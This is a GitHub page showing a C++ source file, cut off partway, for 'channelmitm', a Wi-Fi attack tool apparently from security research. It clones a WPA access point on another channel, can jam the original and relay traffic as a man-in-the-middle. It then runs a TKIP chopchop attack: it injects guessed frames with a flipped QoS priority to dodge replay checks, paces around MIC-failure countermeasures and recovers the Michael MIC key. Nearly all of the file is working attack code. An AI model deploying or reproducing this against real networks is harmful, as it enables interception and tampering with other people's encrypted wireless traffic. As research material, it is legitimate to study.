-
Notifications
You must be signed in to change notification settings - Fork 15
/
Copy pathchannelmitm.cpp
1841 lines (1497 loc) · 48 KB
/
channelmitm.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
// FIXME: Fix the timestamp in probe response etc in firmware
// TODO: Do chopchop in reverse direction ?
/**
* TODO:
* - On start we can optimize the attack by sending 0..127 to client 1, and 128..255
* to client 2. This can also be done during the attack when our injected packet
* isn't captured and both devices become available again.
*
* Current Optimizations:
* - We can attack two clients at the same time by exploiting that a frame
* with the source address matching the client is ignored. This reduces
* the execution in in half. When chopchop executed from left to right,
* we need to chop 12 bytes. This means we can execute the attack in 6 minutes.
* - If we could mitm a third client on another channel (5GHz for example), it
* would reduce to 4 minutes. With 4 clients it becomes 3 minutes.
*/
#include <stdio.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <getopt.h>
#include <signal.h>
#include <stdarg.h>
#include <stdlib.h>
#include <iostream>
#include <sstream>
#include <unordered_map>
#include <set>
#include <iomanip>
#include "ieee80211header.h"
#include "util.h"
#include "osal_wi.h"
#include "pcap.h"
#include "eapol.h"
#include "chopstate.h"
#include "crypto.h"
#include "MacAddr.h"
#include "ClientInfo.h"
#include "SeqnumStats.h"
//#define FIXED_CLIENT_LIST
#ifdef FIXED_CLIENT_LIST
const uint8_t *CLIENTMAC_SAMSUNG = (uint8_t*)"\x00\xc0\xca\x62\xa4\xf6";
const uint8_t *CLIENTMAC_ALFA = (uint8_t*)"\x90\x18\x7c\x6e\x6b\x20";
#endif
static const uint16_t SEQNUM_BEACONCLONE = 0;
// debug logging levels
enum dbg_level {
/** all actions (except injected probe responses) and Deauth/Deasso's */
DBG_NORMAL,
/** all handshake packets (Auth, AssoReq, AssoResp) */
DBG_INFO,
/** display all packets (expect ignored seqnums) */
DBG_VERBOSE,
/** display ignored seqnums as well */
DBG_HIVERBOSE
};
// Jamming the beacons means ALL stations will connect through us.
// Jamming probe requests/responses allows use to individually target stations.
// Use Cases:
// - Transparent repeater (original AP still sees all connected clients)
// - Transparent MitM of encrypted connections
// * Assures all frames are captured by attacker for later cryptanalysis,
// traffic analysis, or other signal intelligence. + cite some examples.
char usage[] =
"\n"
" channelmitm - Mathy Vanhoef\n"
"\n"
" usage: channelmitm <options>\n"
"\n"
" Attack options:\n"
"\n"
" -a interface : Wireless interface on the channel of AP the attack/clone\n"
" -c interface : Wireless interface on which to clone the AP\n"
" -s ssid : SSID of the Access Point (AP) to clone\n"
"\n"
" Optional parameters:\n"
"\n"
" -j interace : Interface used to jam the targeted AP\n"
" --dual : Attack two clients simultaneously\n"
" -x interval : Inject chopchop'ed packet every given milliseconds\n"
" -b bssid : MAC address of target Access Point (AP) to clone\n"
" -p password : WPA passphrase to debug our attacks\n"
" -K : Dump calculated keys (PMK, PTK, GTK, etc)\n"
" -d dump.pcap : Dump traffic from cloned AP to clients to .pcap file\n"
" -v : Verbosity, display debug messages\n"
" -vv : Verbosity, display many debug messages\n"
" -vvv : Verbosity, display many debug messages and packet dumps\n"
" --testmode : Suffix SSID of the cloned AP with _clone\n"
" --fast : Ignore 60 second MIC fail timeout, guess continuously\n"
" --pdestmac : Destination MAC of injected ping (device on ethernet)\n"
" --pdestip : Destination IP of injected ping (device on ethernet)\n"
" --pclientip : IP address of the MitM'd client for injected ping\n"
"\n"
" Improve performance: echo 11 > $DEBUGFS/ieee80211/phyX/ath9k_htc/config_phy\n"
"\n";
/** Attack options */
struct options_t
{
char interface_ap[128];
char interface_clone[128];
char interface_jam[128];
/** Injected chopchop'ed packet every X milliseconds */
int chopint;
uint8_t bssid[6];
char ssid[128];
char passphrase[64];
bool dumpkeys;
/** channel of the cloned AP */
int clonechan;
/** when true assume both clients are MitM'ed and attack both */
bool simul;
/** when true it changes ssid name of the clone */
bool testmode;
/** when true will test ACK generation on different MAC */
bool fastguess;
/** 0 is normal, 1 is debug messages, 2 is many debug messages, 3 is also packet dumps */
int verbosity;
char pcapfile[256];
} opt;
/** global variables */
struct global_t {
/** when set to true, exit main loop */
bool exit;
uint8_t beaconbuf[2048];
size_t beaconlen;
uint8_t proberesp[2048];
size_t proberesplen;
uint16_t probeseqnum;
wi_dev *jam;
PCAPFILE pcap;
/** Is the continouos jamming active? */
bool isjamming;
ChopState chop;
struct timespec lastinject;
int seqnuminject;
// FIXME: Improve this ...
/** current addr3 MAC address used in simultaneous attack */
uint8_t simulcurr[6];
/** MAC of client 1 we are attacking */
uint8_t simulmac1[6];
/** time when client 1 was last attacked */
struct timespec simulmac1time;
/** MAC of client 2 we are attacking */
uint8_t simulmac2[6];
/** time when client 2 was last attacked */
struct timespec simulmac2time;
/** status line displayed below program, overwritten by new status updates */
char status[1024];
} global;
SeqnumStats seqstats;
std::unordered_map<
MacAddr, // key
ClientInfo*, // mapped type
MacAddr, // hash
MacAddr> // equal operator
client_list;
ClientInfo * find_client(const ieee80211header *hdr)
{
const uint8_t *clientmac = NULL;
if (hdr->fc.tods == 1 && hdr->fc.fromds == 0) {
clientmac = hdr->addr2;
} else if (hdr->fc.tods == 0 && hdr->fc.fromds == 1) {
clientmac = hdr->addr1;
} else if (hdr->fc.tods == 0 && hdr->fc.fromds == 0) {
// probe response
if (hdr->fc.type == TYPE_MNGMT && hdr->fc.subtype == 5)
clientmac = hdr->addr1;
// probe request
else if (hdr->fc.type == TYPE_MNGMT && hdr->fc.subtype == 4)
clientmac = hdr->addr2;
else
return NULL;
} else {
std::cerr << __FUNCTION__ << ": Unsupported network mode\n";
return NULL;
}
auto it = client_list.find(MacAddr(clientmac));
if (it == client_list.end())
return NULL;
return it->second;
}
/** To get the GTK keys we just need one client wich has it. FIXME: Make this global AP info... */
ClientInfo * find_gtk_client(const ieee80211header *hdr)
{
for (auto it = client_list.begin(); it != client_list.end(); ++it)
{
if (it->second->keys.state.gtk)
return it->second;
}
return NULL;
}
static std::string currentTime()
{
time_t now = time(0);
struct tm tstruct;
char buf[80];
tstruct = *localtime(&now);
// Visit http://en.cppreference.com/w/cpp/chrono/c/strftime
// for more information about date/time format
strftime(buf, sizeof(buf), "%X", &tstruct);
return buf;
}
// FIXME: We should have Dot11 class that does this...
static std::string packet_summary(uint8_t *buf, size_t buflen)
{
ieee80211header *hdr = (ieee80211header*)buf;
std::ostringstream ss;
ss << std::left << std::setw(4) << hdr->sequence.seqnum << " "
<< MacAddr(hdr->addr2) << " to "
<< MacAddr(hdr->addr1) << (hdr->addr1[0] & 1 ? " (B" : " (U")
<< (hdr->fc.retry ? "R " : " ") << std::setw(5)
<< frametype(hdr->fc.type) << " / " << std::setw(10)
<< framesubtype(hdr->fc.type, hdr->fc.subtype) << ")";
return ss.str();
}
void clearstatus()
{
printf("\033[2K\r");
}
void printstatus()
{
// clear whole line and print status
clearstatus();
printf("%s", global.status);
fflush(stdout);
}
void updatestatus(const char *format, ...)
{
va_list argptr;
va_start(argptr, format);
char line[1024];
vsnprintf(line, sizeof(line), format, argptr);
snprintf(global.status, sizeof(global.status), ">%s< %s",
currentTime().c_str(), line);
printstatus();
va_end(argptr);
}
static void print_dbgline(const std::string &iface, bool newseqno, uint8_t *buf,
size_t len, const std::string &dest, std::ostringstream &dbgout)
{
ieee80211header *hdr = (ieee80211header*)buf;
bool shouldoutput = false;
// handle DBG_INFO and DBG_NORMAL
switch (opt.verbosity)
{
case DBG_INFO:
// authentication
if (hdr->fc.type == TYPE_MNGMT && hdr->fc.subtype == 11)
shouldoutput = true;
// association request/response, reassocation request/response,
// probe request/response.
if (hdr->fc.type == TYPE_MNGMT && hdr->fc.subtype >= 0
&& hdr->fc.subtype <= 5)
shouldoutput = true;
// association response
if (hdr->fc.type == TYPE_MNGMT && hdr->fc.subtype == 11)
shouldoutput = true;
case DBG_NORMAL:
// output all "actions", except injected probe responses
if (dbgout.tellp() != 0 && (hdr->fc.type != TYPE_MNGMT || hdr->fc.subtype != 4) )
shouldoutput = true;
// deauthentication
if (hdr->fc.type == TYPE_MNGMT && hdr->fc.subtype == 12)
shouldoutput = true;
// disassociation
if (hdr->fc.type == TYPE_MNGMT && hdr->fc.subtype == 10)
shouldoutput = true;
}
// for DBG_INFO and DBG_NORMAL it must also be a new frame
shouldoutput = shouldoutput && newseqno;
// finally handle DBG_HIVERBOSE and DBG_VERBOSE
switch (opt.verbosity)
{
case DBG_VERBOSE:
shouldoutput = newseqno;
break;
case DBG_HIVERBOSE:
shouldoutput = true;
break;
}
// return if no output should be displayed
if (!shouldoutput) return;
// clear whole line
printf("\033[2K\r");
std::cout << "[" << currentTime() << "] " << std::left << std::setw(6)
<< iface << (newseqno ? " : " : "ign: ")
<< packet_summary(buf, len);
if (dest.length() != 0)
std::cout << " -> " << std::setw(6) << dest;
else
std::cout << " ";
std::cout << dbgout.str() << std::endl;
// put status line back
printstatus();
}
static void printUsage()
{
printf("%s", usage);
}
bool parseConsoleArgs(int argc, char *argv[])
{
int option_index = 0;
int c, rval;
static struct option long_options[] = {
{"help", 0, 0, 'h'},
{"testmode", 0, 0, 't'},
{"fast", 0, 0, 'F'},
{"dual", 0, 0, 'S'}
};
if (argc <= 1) {
printUsage();
return false;
}
// default settings
memset(&opt, 0, sizeof(opt));
opt.chopint = 100; // inject 10 packets each second
while ((c = getopt_long(argc, argv, "a:c:s:j:b:p:d:x:thvKFS", long_options, &option_index)) != -1)
{
switch (c)
{
case 'h':
printUsage();
// when help is requested, don't do anything other then displaying the message
return false;
case 'a':
strncpy(opt.interface_ap, optarg, sizeof(opt.interface_ap));
break;
case 'c':
strncpy(opt.interface_clone, optarg, sizeof(opt.interface_clone));
break;
case 'j':
strncpy(opt.interface_jam, optarg, sizeof(opt.interface_jam));
break;
case 'x':
rval = sscanf(optarg, "%d", &opt.chopint);
if (opt.chopint < 10 || opt.chopint > 30000 || rval != 1) {
printf("Invalid interval between injected packets. [10-30000]\n");
return false;
}
break;
case 'b':
if (!getmac(optarg, opt.bssid)) {
printf("Failed to parse MAC address '%s' (given by -b)\n", optarg);
return false;
}
break;
case 'p':
if (strlen(optarg) > 63) {
printf("Passphrase can be at most 63 characters\n");
return false;
}
strncpy(opt.passphrase, optarg, sizeof(opt.passphrase));
opt.passphrase[sizeof(opt.passphrase) - 1] = '\0';
break;
case 'd':
if (strlen(optarg) > sizeof(opt.pcapfile) - 1) {
printf(".pcap filename is too long\n");
return false;
}
strncpy(opt.pcapfile, optarg, sizeof(opt.pcapfile));
break;
case 's':
strncpy(opt.ssid, optarg, sizeof(opt.ssid));
break;
case 't':
opt.testmode = true;
break;
case 'v':
opt.verbosity++;
break;
case 'K':
opt.dumpkeys = true;
break;
case 'F':
opt.fastguess = true;
break;
case 'S':
opt.simul = true;
break;
default:
printf("Unknown command line option '%c'\n", c);
return false;
}
}
if (opt.interface_ap[0] == '\x0' || opt.interface_clone[0] == '\x0')
{
printf("You must specify two interfaces using -a and -c.\n");
printf("\"channelmitm --help\" for help.\n");
return false;
}
if (is_empty(opt.bssid, 6) && opt.ssid[0] == '\x0')
{
printf("You must specify either a target SSID (-s) or BSSID (-b).\n");
printf("\"channelmitm --help\" for help.\n");
return false;
}
if (!is_empty(opt.bssid, 6) && opt.ssid[0] != '\x0')
{
printf("You can specify both a target SSID (-s) and BSSID (-b)\n");
return false;
}
return true;
}
void dump_buffer(const char *filename, uint8_t *buff, size_t len)
{
FILE *fp = fopen(filename, "wb");
if (fp == NULL) {
fprintf(stderr, "Failed to open %s for writing: ", filename);
perror("");
return;
}
if (fwrite(buff, len, 1, fp) != 1) {
fprintf(stderr, "Failed to write to %s: ", filename);
perror("");
return;
}
fclose(fp);
}
void get_macmask(const uint8_t mac[6], uint8_t mask[6])
{
memset(mask, 0xFF, 6);
for (auto it = client_list.begin(); it != client_list.end(); ++it)
{
for (int i = 0; i < 6; ++i)
{
mask[i] &= ~(mac[i] ^ it->second->mac[i]);
}
}
}
void update_ap_macmask(wi_dev *ap)
{
ClientInfo *client;
uint8_t macmask[6];
// get MAC first client
if (client_list.size() == 0)
return;
client = client_list.begin()->second;
// get mask
get_macmask(client->mac, macmask);
// set MAC and mask
osal_wi_set_mac(ap, client->mac);
osal_wi_set_macmask(ap, macmask);
}
bool is_probe_resp(uint8_t *buf, size_t len, void *data)
{
ieee80211header *hdr = (ieee80211header*)buf;
uint8_t *dest = (uint8_t*)data;
// probe response
if (len < sizeof(ieee80211header) || hdr->fc.type != 0 || hdr->fc.subtype != 5)
return false;
// from the AP to MAC address we used
if (memcmp(hdr->addr2, opt.bssid, 6) != 0 || memcmp(hdr->addr1, dest, 6) != 0)
return false;
return true;
}
// Note: see IEEE802.11-2012 8.2.4.1.3 for the list of all possible packet types
static bool is_handshake_packet(uint8_t *buf, size_t len)
{
ieee80211header *hdr = (ieee80211header*)buf;
if (memcmp(hdr->addr1, "\xFF\xFF\xFF\xFF\xFF\xFF", 6) == 0) {
// Probe request
if (hdr->fc.type == TYPE_MNGMT && hdr->fc.subtype == 4)
return true;
}
else {
}
return false;
}
void dump_pcap(uint8_t *buf, size_t len)
{
if (global.pcap)
pcap_write_packet(global.pcap, buf, len, 0);
}
/**
* An injected (non-forwared) packet needs to be handled properly
* so we won't detected it as a new packet when the OS returns it...
*/
int inject_and_dump(wi_dev *dev, uint8_t *buf, size_t len)
{
if (osal_wi_write(dev, buf, len) < 0) return -1;
dump_pcap(buf, len);
// 'register' the packet so it will be detected as a duplicate
seqstats.is_new(buf, len);
return 0;
}
bool is_broadcast_data(uint8_t *buf, size_t len)
{
ieee80211header *hdr = (ieee80211header*)buf;
if (len < sizeof(ieee80211header))
return false;
if (hdr->fc.type != TYPE_DATA)
return false;
if (!ieee80211_broadcast_mac(hdr->addr1))
return false;
return true;
}
int find_group_message(uint8_t *buf, size_t len, std::ostringstream &dbgout)
{
uint8_t chopbuf[2024];
ieee80211header *hdr = (ieee80211header*)buf;
ClientInfo *client;
int pos, datalen;
size_t choplen;
//
// 1. filter messages
//
// must be to broadcast/multicast data
if (!is_broadcast_data(buf, len))
return 0;
// must be from AP to station
if (hdr->fc.tods == 1 || hdr->fc.fromds == 0)
return 0;
// must be encrypted frame
if (hdr->fc.protectedframe == 0)
return 0;
// TODO: Want ARP request from MiTM'ed station to broadcast address
// get position of encrypted data
pos = sizeof(ieee80211header) + sizeof(tkipheader);
if (ieee80211_dataqos(hdr))
pos += sizeof(ieee80211qosheader);
// - ARP requests: should be ff:ff:ff:ff:ff:ff broadcast
// - Other possible target is Multicast Listener Report Message v2
datalen = len - pos - sizeof(tkiptail);
if (datalen != sizeof(llcsnaphdr) + 28)
return 0;
// only set chopchop state if still empty
if (!global.chop.empty())
return 0;
//
// 2. prepare for chopchop attack
//
// If attacking two clients, verify both are already MitM'ed and the EAPOL handshake
// is complete. Otherwise the newer client will have an updated TSC (on al QoS channels),
// and may simply not be connected yet!
if (opt.simul) {
bool eapoldone = true;
// check both MitM'ed
if (client_list.size() != 2) {
dbgout << " | ign ARP (num)";
return 0;
}
// both must have send EAPOL 4 packets
auto it = client_list.begin();
eapoldone = (eapoldone && it->second->keys.lastframenum == 4);
++it;
eapoldone = (eapoldone && it->second->keys.lastframenum == 4);
if (!eapoldone) {
dbgout << " | ign ARP (eapol)";
return 0;
}
// get MAC addresses of both clients
it = client_list.begin();
memcpy(global.simulmac1, it->second->mac, 6);
++it;
memcpy(global.simulmac2, it->second->mac, 6);
// begin by attacking client 1, so set mac of client 2
memcpy(global.simulcurr, global.simulmac2, 6);
}
// include QoS header for chopchop attack
memcpy(chopbuf, buf, len);
choplen = add_qos_hdr(chopbuf, len, sizeof(chopbuf));
// prepare chopchop state
global.chop.init(chopbuf, choplen);
dbgout << " | Chop Init";
// debug attack if we have GTK
client = find_gtk_client(hdr);
if (client && client->keys.state.gtk) {
uint8_t decrypted[1024];
if (decrypt_tkip(chopbuf, choplen, client->keys.gtk.enc, decrypted)) {
// debug every guess
global.chop.set_decrypted(decrypted, choplen);
clearstatus();
dump_packet(decrypted, choplen);
printf("\n\n");
printstatus();
#if 0
const uint32_t NUMSIMULATED = 11;
// set first 11 guesses we we only need to chopchop one byte
for (size_t i = 0; i < NUMSIMULATED; ++i)
global.chop.simulate(decrypted[choplen - i - 1]);
dbgout << " | Simulated " << NUMSIMULATED << "b chop";
#endif
// FIXME: Need to xor the shizzle
//global.chop.set_guess( (decrypted[declen - NUMSIMULATED - 1] - 1) % 0x100 );
} else {
dbgout << " | GROUP DEC FAIL";
global.chop.clear();
}
}
return 0;
}
int chopchop_tick(wi_dev *ap, wi_dev *clone)
{
uint8_t buf[1024];
uint8_t decrypted[1024];
ieee80211header *hdr = (ieee80211header*)buf;
ieee80211qosheader *qoshdr = (ieee80211qosheader*)(hdr + 1);
ClientInfo *client;
int len;
struct timespec now, sendtime, delta;
if (global.chop.empty())
return 0;
// Check if enough time has passed to send new packet
clock_gettime(CLOCK_MONOTONIC, &now);
delta.tv_sec = opt.chopint / 1000;
delta.tv_nsec = (opt.chopint % 1000) * 1000 * 1000;
sendtime = global.lastinject;
timespec_add(&sendtime, &delta, &sendtime);
if (timespec_cmp(&now, &sendtime) < 0)
return 0;
global.lastinject = now;
// get next guess
global.chop.next_guess();
len = global.chop.getbuf(buf, sizeof(buf));
if (len < 0) {
fprintf(stderr, "Failed to get chopchop buffer\n");
return -1;
}
// change priority of the packet to bypass TSC check
qoshdr->tid ^= 1;
// change source address so client will accept its own broadcast packets
if (opt.simul)
{
memcpy(hdr->addr3, global.simulcurr, 6);
}
else
{
hdr->addr3[5] ^= 0x33;
}
// update sequence number
hdr->sequence.seqnum = ++global.seqnuminject;
// inject the guess
if (inject_and_dump(clone, buf, len) < 0) return -1;
updatestatus("Injected chopchop guess %d from %s", global.chop.get_guess(),
MacAddr(hdr->addr3).tostring().c_str());
client = find_gtk_client(hdr);
if (client && client->keys.state.gtk && decrypt_tkip(buf, len, client->keys.gtk.enc, decrypted)) {
// keep user informed that correct guess was injected
clearstatus();
printf("[%s] Injecting correct chopchop guess %d from %s\n",
currentTime().c_str(), global.chop.get_guess(),
MacAddr(hdr->addr3).tostring().c_str());
printstatus();
} else {
}
return 0;
}
int detect_mic_failure(uint8_t *buf, size_t len, std::ostringstream &dbgout)
{
ieee80211header *hdr = (ieee80211header*)buf;
ClientInfo *client;
int pos, datalen;
// must be to unicast data
if (is_broadcast_data(buf, len))
return 0;
// must be from station to AP
if (hdr->fc.tods == 0 || hdr->fc.fromds == 1)
return 0;
// must be encrypted frame
if (hdr->fc.protectedframe == 0)
return 0;
// we must actually be attacking
if (global.chop.empty())
return 0;
// get position of encrypted data (tkip header has same size as CCMP header)
pos = sizeof(ieee80211header) + sizeof(tkipheader);
if (ieee80211_dataqos(hdr))
pos += sizeof(ieee80211qosheader);
// get length of payload - 115 is for CCMP, 119 is for TKIP
datalen = len - pos;
if (datalen != 115 && datalen != 119)
return 0;
// ----- from here on return 1 so MIC failure is not forwarded -----
// With multiple clients we can/will get multiple MIC failures. If get_guess returns
// -1 it means one was already detected, ignore this one. Note that the next guess is
// set after one minute has passed.
// FIXME:
if (global.chop.get_guess() == -1) {
dbgout << " | Ignored MIC fail";
return 1;
}
dbgout << " | MIC FAIL " << std::left << std::setw(3) << (int)global.chop.get_guess()
<< " [" << (global.chop.chopped() + 1) << "/12]";
// advance chopchop algorithm
global.chop.advance();
// if MIC and ICV are chopped, guess plaintext and derive MIC key
if (global.chop.chopped() == 12)
{
uint8_t guesspacket[1024];
int rval;
size_t guesslen;
uint8_t derivedkey[8];
// predict packet content
rval = global.chop.guess_arprequest(guesspacket, sizeof(guesspacket));
if (rval < 0) {
dbgout << " | Predict FAIL";
return 0;
}
guesslen = (size_t)rval;
// Dump guessed packet content
dump_buffer("guessedpacket.bin", guesspacket, rval);
// dervice MIC key - FIXME: we want to do this in another thread
calc_michael_key(guesspacket, guesslen, derivedkey);
// Dump MIC key -- FIXME: Display to screen
dump_buffer("mickey.bin", derivedkey, 8);
client = find_gtk_client(hdr);
if (client && client->keys.state.gtk && memcmp(derivedkey, client->keys.gtk.micfromds, 8) != 0) {
dbgout << " | Revese MIC FAIL";
return 1;
}
dbgout << " | GOT MIC KEY";
// clear chop state (avoid from guessing bytes)
global.chop.clear();
}
// manage simultaneous attack against two clients
else if (opt.simul) {
// if we are attacking client 1, switch to client 2
if (memcmp(global.simulcurr, global.simulmac2, 6) == 0) {
global.simulmac1time = global.lastinject;
memcpy(global.simulcurr, global.simulmac1, 6);
global.lastinject = global.simulmac2time;
}
// if we are attacking client 2, switch to client 1
else {
global.simulmac2time = global.lastinject;
memcpy(global.simulcurr, global.simulmac2, 6);
global.lastinject = global.simulmac1time;
}
// wait one minute, unless it's the last byte the client needs to attack
if (global.chop.chopped() >= 10)
global.lastinject.tv_sec += 1;
else
global.lastinject.tv_sec += 61;
}
// otherwise pauze execution to avoid TKIP countermeasures
else
{
if (opt.fastguess || global.chop.chopped() >= 11)
global.lastinject.tv_sec += 1;
else
global.lastinject.tv_sec += 61;
}
return 1;
}
//
// TODO: Move this to utility file/module
//
struct arping_opt {
bool tods;
uint8_t mac_bssid[6];
uint8_t mac_src[6];
uint8_t mac_dest[6];
uint8_t ip_src[4];
uint8_t ip_dest[4];
};
int build_arping_request(uint8_t *buf, size_t len, const arping_opt &pingopt)
{
ieee80211header *hdr = (ieee80211header*)buf;
llcsnaphdr *llcsnap = (llcsnaphdr*)(hdr + 1);
arppacket *arp = (arppacket*)(llcsnap + 1);
size_t buflen = sizeof(ieee80211header) + sizeof(llcsnaphdr) + sizeof(arppacket);
if (len < buflen) {
fprintf(stderr, "%s: buffer too small (%zu)\n", __FUNCTION__, len);
return -1;
}
memset(hdr, 0, sizeof(*hdr));
hdr->fc.type = TYPE_DATA;
hdr->fc.subtype = 0;
hdr->fc.tods = pingopt.tods;
// TODO: document usage of this global variable
global.seqnuminject += 1;
hdr->sequence.seqnum = ++global.seqnuminject;
if (hdr->fc.tods) {
memcpy(hdr->addr1, pingopt.mac_bssid, 6);
memcpy(hdr->addr2, pingopt.mac_src, 6);
memcpy(hdr->addr3, pingopt.mac_dest, 6);
} else {
memcpy(hdr->addr1, pingopt.mac_dest, 6);
memcpy(hdr->addr2, pingopt.mac_bssid, 6);
memcpy(hdr->addr3, pingopt.mac_src, 6);
}
llcsnap->dsap = 0xAA;
llcsnap->ssap = 0xAA;
llcsnap->ctrl = 0x03;
memset(llcsnap->oui, 0, 3);
llcsnap->type = htons(0x0806);
arp->hardwaretype = htons(1); // Ethernet
arp->protocoltype = htons(0x0800); // IP
arp->hardwaresize = 6;
arp->protocolsize = 4;
arp->opcode = htons(1); // Ping Request
memcpy(arp->sendermac, pingopt.mac_src, 6);
memcpy(arp->senderip, pingopt.ip_src, 4);
memset(arp->targetmac, 0, 6);
memcpy(arp->targetip, pingopt.ip_dest, 4);
return buflen;
}
/**
* Analyzses traffic, and possibly injects packets to perform attacks.
*
* The packets given to this function are unique, and are the traffic from
* clients to the access point and back.
*
* Returns values:
* < 0 error occured
* = 0 don't forward packet
* > 0 length of the (possibly modified) packet to forward
*/
int analyze_traffic(wi_dev *ap, wi_dev *clone, uint8_t *buf, size_t *plen, size_t maxlen, std::ostringstream &dbgout)
{